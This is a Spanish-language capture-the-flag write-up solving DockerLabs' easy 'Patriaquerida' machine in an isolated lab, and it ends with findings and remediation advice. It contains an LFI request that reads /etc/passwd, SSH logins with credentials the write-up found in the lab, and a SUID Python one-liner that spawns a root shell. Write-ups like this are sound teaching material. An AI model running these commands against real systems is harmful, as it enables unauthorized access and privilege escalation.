Skip to content

Patriaquerida

This content is not available in your language yet.

Este documento presenta la resolución completa de la máquina Patriaquerida, desarrollada por JuanR para la plataforma DockerLabs y catalogada con un nivel de dificultad fácil. El análisis se organiza de manera clara y progresiva, permitiendo comprender tanto la lógica de explotación como las vulnerabilidades detectadas a lo largo del proceso.

Los objetivos principales son:

  • Identificar los vectores de ataque disponibles.
  • Analizar los servicios expuestos y archivos accesibles.
  • Obtener acceso inicial mediante la explotación de un fallo de inclusión de archivos locales (LFI) y posteriormente un ataque de fuerza bruta.
  • Escalar privilegios aprovechando binarios con permisos elevados hasta obtener el control total del sistema.

La metodología se estructura en tres fases:

  1. Reconocimiento: identificación de servicios, recursos expuestos y análisis preliminar.
  2. Explotación: validación de vulnerabilidades, extracción de credenciales y obtención del acceso inicial.
  3. Escalada de privilegios: abuso de configuraciones de sudo y binarios SUID para obtener privilegios de superusuario.

Todas las pruebas se realizaron en el entorno aislado proporcionado por DockerLabs.


AtributoValor
NombrePatriaquerida
AutorJuanR
DificultadFácil
Fecha14/01/2025
PlataformaDockerLabs

Se descomprime la máquina:

Ventana de terminal
unzip "Patriaquerida.zip"

Luego se inicia el contenedor correspondiente:

Ventana de terminal
sudo bash auto_deploy.sh "Patriaquerida.tar"

El script devuelve la IP interna, que será utilizada en todas las fases posteriores.

IP asignada


Se crea una estructura de directorios para organizar los hallazgos y mantener un flujo ordenado:

Ventana de terminal
mkdir -p Patriaquerida/{content,exploits,nmap,gobuster,scripts}
cd Patriaquerida

Se realiza un escaneo completo con Nmap:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Puertos detectados:

  • 22/tcp — SSH
  • 80/tcp — HTTP

Puertos abiertos


Se realiza un análisis de directorios accesibles mediante Gobuster:

Ventana de terminal
gobuster dir \
-u http://172.18.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
-x php,html,txt,js \
-t 200

gobuster scan

Resultados encontrados:

  • /index.php — Contiene una pista. index.php content
  • /index.html — Página por defecto de Apache. index.html content

En index.php se revela la ubicación del archivo /.hidden_pass, cuyo contenido es:

.hidden_pass content


Con la contraseña descubierta, falta determinar un usuario válido.

Para ello, se identifica que la aplicación es vulnerable a LFI, lo que permite leer el archivo /etc/passwd:

http://172.17.0.2/index.php?page=/etc/passwd

passwd content

Con esto se obtiene una combinación usuario:contraseña válida. Finalmente, se accede por SSH:

ssh connect

Accedemos como el usuario pinguino.


En el directorio HOME de pinguino se encuentra el archivo nota_mario.txt:

nota_mario content

El archivo contiene la contraseña del usuario mario, permitiendo acceder con:

Ventana de terminal
su mario

su mario


Aunque sudo -l no muestra permisos especiales, se encuentran binarios con SUID activo:

Ventana de terminal
find / -perm -4000 2>/dev/null

find result

Destaca:

/usr/bin/python3.8

Para aprovecharlo:

Ventana de terminal
/usr/bin/python3.8 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

Acceso root conseguido:

root access


  • Presencia de archivos sensibles accesibles desde el entorno web.
  • Vulnerabilidad de LFI (Local File Inclusion) en index.php.
  • Credenciales expuestas en archivos internos.
  • Contraseñas débiles o no rotadas entre usuarios.
  • Binario Python con SUID, permitiendo escalada directa a root.

  • Restringir acceso a archivos internos no destinados al público.
  • Implementar validación estricta en parámetros utilizados para incluir archivos.
  • Evitar almacenar contraseñas en texto plano.
  • Establecer políticas de contraseñas robustas y rotación periódica.
  • Eliminar o restringir binarios con SUID innecesarios.
  • Aplicar controles de permisos adecuados en el sistema de archivos.